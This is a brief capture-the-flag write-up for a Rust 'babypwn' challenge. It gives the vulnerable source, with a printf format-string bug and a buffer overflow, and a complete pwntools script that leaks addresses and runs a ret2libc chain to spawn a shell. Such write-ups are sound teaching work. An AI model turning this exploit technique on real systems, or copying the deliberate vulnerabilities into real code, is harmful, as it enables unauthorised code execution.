Rating:
**TL;DR** I don't have a full writeup for this because I solved it after the fact, but I just wanted to put something here since it seems like no one's shared a solution here, and the ones that are out on the web use the pwntools ROP object, which is cool but doesn't really explain the process.
Source:
```rust
use libc;
use libc_stdhandle;
fn main() {
unsafe {
libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);
libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);
let text = [0 as libc::c_char; 64].as_mut_ptr();
libc::fgets(text, 64, libc_stdhandle::stdin());
libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
libc::printf(text);
libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
libc::fgets(text, 128, libc_stdhandle::stdin());
libc::printf(format!("{}\n\0", r#"
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--."#).as_ptr() as *const libc::c_char);
}
}
```
The fact that the binary is in Rust might be intimidating at first, until you realize that there's not much that's "rust-specific" to exploit. There's a very obvious printf vulnerability, and the call to fgets tries to shove 128 bytes of data into a buffer of 64 bytes. Doing the regular binex stuff shows us that the offset is 96, and from there we use the printf leak to leak both the libc base and the piebase by doing math on both. I'm pretty sure you could calculate both off of one address, but I did cheat a little after looking at [Strellic's Writeup](https://brycec.me/posts/corctf_2022_challenges#babypwn) because something with how the binary is compiled just does not work on Kali, and I was too lazy to redo everything from my other VM.
Final Exploit:
```python
#!/usr/bin/python3
# @author: CryptoCat (https://github.com/Crypto-Cat/CTF/tree/main/pwn)
# Modified by An00bRektn
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
# Launch process and send payload
p = process(exe, level='warn')
p.sendlineafter(b'>', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) # x86
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
# Specify GDB script here (breakpoints etc)
gdbscript = '''
continue
'''.format(**locals())
# Binary filename
exe = './babypwn'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
"""
Thoughts:
I did not solve this challenge during the event because I was too stupid
to realize that the printf vulnerability could have been used to leak out
both the PIE base and the libc address. The fact that this is in Rust really
doesn't matter because we're given the source code, and it's just a regular ret2libc.
This is just a reminder that when doing pwn, or any challenge really, we should be thinking about what's actually
happening as opposed to copying and pasting a formula.
"""
# Lib-C library, can use pwninit/patchelf to patch binary
libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
# Pass in pattern_size, get back EIP/RIP offset
offset = 96
# Start program
io = start()
io.sendlineafter(b'?', b'%2$p.%30$p')
io.recvuntil(b'Hi, ')
libc_leak, pie_leak = [int(x, 16) for x in io.recvlineS().split('.')]
elf.address = pie_leak - 0x464f8
libc.address = libc_leak + 0x1440 # use gdb
info("piebase: %#x", elf.address)
info("libc : %#x", libc.address)
bin_sh = 0x1b45bd + libc.address
system = 0x52290 + libc.address
pop_rdi = 0x51d1 + elf.address
ret = 0x501a + elf.address
# Build the payload
payload = flat({
offset: [
ret,
pop_rdi,
bin_sh,
system
]
})
# Send the payload
io.sendlineafter(b'emote?', payload)
io.recvuntil(b'..--++++--.')
# Got Shell?
io.interactive()
```